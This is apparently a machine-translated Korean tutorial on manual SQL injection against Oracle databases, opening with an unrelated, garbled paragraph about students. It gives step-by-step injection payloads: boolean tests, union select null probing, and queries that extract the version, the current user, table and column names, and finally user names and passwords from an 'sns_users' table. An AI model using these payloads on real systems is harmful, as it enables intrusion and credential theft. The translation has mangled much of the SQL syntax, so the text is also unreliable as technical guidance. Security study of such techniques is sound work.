어느 연구 갱은, 모든 사람들이 슬래그를 배우는 사람보다 가장 형편이 사회가, 그들이 교훈을 이해하지 못하지 일을, 클래스를 반드시 수행, 시험에 대한 불안, 문제 훈련을하지만,하지 않는 현상 유지와 좌절, 3 분 동안 가열하고, 비난에 자신을 증오, 심지어 군중에 묻혀 가장 일반적인 ID에 따라, 그들은 고통의 대부분의 일을하고 있습니다. . . .
A, Oracle 데이터베이스
일반적으로 대기업 물류, 관광, 항공, 은행 등에 사용됩니다. . .
1, 대형 트랜잭션 볼륨을 처리하는 여러 사용자를 지원합니다
2, 데이터 보안 및 무결성 효과적인 통제
분산 데이터 처리 3, 지원
4 강한 이식
둘째, 수동 주입
1, 그것은 여부가 판단
1 = 1은 정상화
1 = 2 리턴 에러
2, 결정하기 위해 오라클 데이터베이스 여부
및 (이중에서 선택 *)를 존재
및 (USER_TABLES에서 선택 *)를 존재
일반적인 설명으로 돌아 가기는 오라클입니다
3 열의 수를 판정한다
(2)에 의한 순서를 나타내는 두, 정상화
4, 공동 질문
노동 조합을 선택 널 (null), 이중에서 널 (null), 숫자 및 각 널 (null) 문자로 교체 한 후, 널 (null)로 대체하는 1, 2, 요구가 쓸 수, 숫자 오류에 발견, 문자가 제공되지 않는
노조 이중에서 1, 널 (null)을 선택 报错
이중에서 노동 조합을 선택 널 (null), 1 报错
노조는 이중 반환에서 '널 (null)', '널'이 인터페이스를 선택한 후 다음과 같은 쿼리를 사용할 수 있습니다
5, 데이터베이스 버전에 대한 액세스
(SYS.V_ $ 버전에서 배너를 선택합니다 어디 ROWNUM = 1)
6, 데이터베이스에 현재 사용자의 연결을 얻었다
(SYS_CONTEXT를 선택 ( 'USERENV', 이중에서 'CURRENT_USER'))
데이터베이스에 7 액세스
(브이 $ 인스턴스에서 INSTANCE_NAME 선택) 현재 데이터베이스를 얻을 수
제베이스를 얻었다 (ROWNUM = 1 ALL_TABLES에서 선택 소유자)
(ALL_TABLES에서 선택 오너 여기서 ROWNUM = 1 소유자 <> 'SYS') 제베이스를 취득
8 테이블 이름을 얻었다
(USER_TABLES에서 선택 TABLE_NAME 여기서 ROWNUM = 1 '% 사용자 %'등 TABLE_NAME) 이중에서
10 열 이름에 대한 액세스
(USER_TAB_COLUMNS에서 COLUMN_NAME을 선택 여기서 TABLE_NAME = 'sns_users'및 ROWNUM = 1)
두번째 컬럼 이름을 취득 11
(USER_TAB_COLUMNS에서 선택 COLUMN_NAME는이 테이블 _ = 어디 sns_users '및 ROWNUM = 1 COLUMN_NAME <>'USER_NAME ')
필드의 내용 (12)는, 액세스
=. 1. 1, 2 ID SELECT USER_NAME 연합은 user_pwd "sns_users"에서
연합 SELECT USER_NAME 상기 user_pwd에서 "sns_users"WHERE USER_NAME <> '후'는 제 2 사용자 정보를 취득
불법 위험의 금지
환영 대중의 관심 번호 : 웹 보안 도구 라이브러리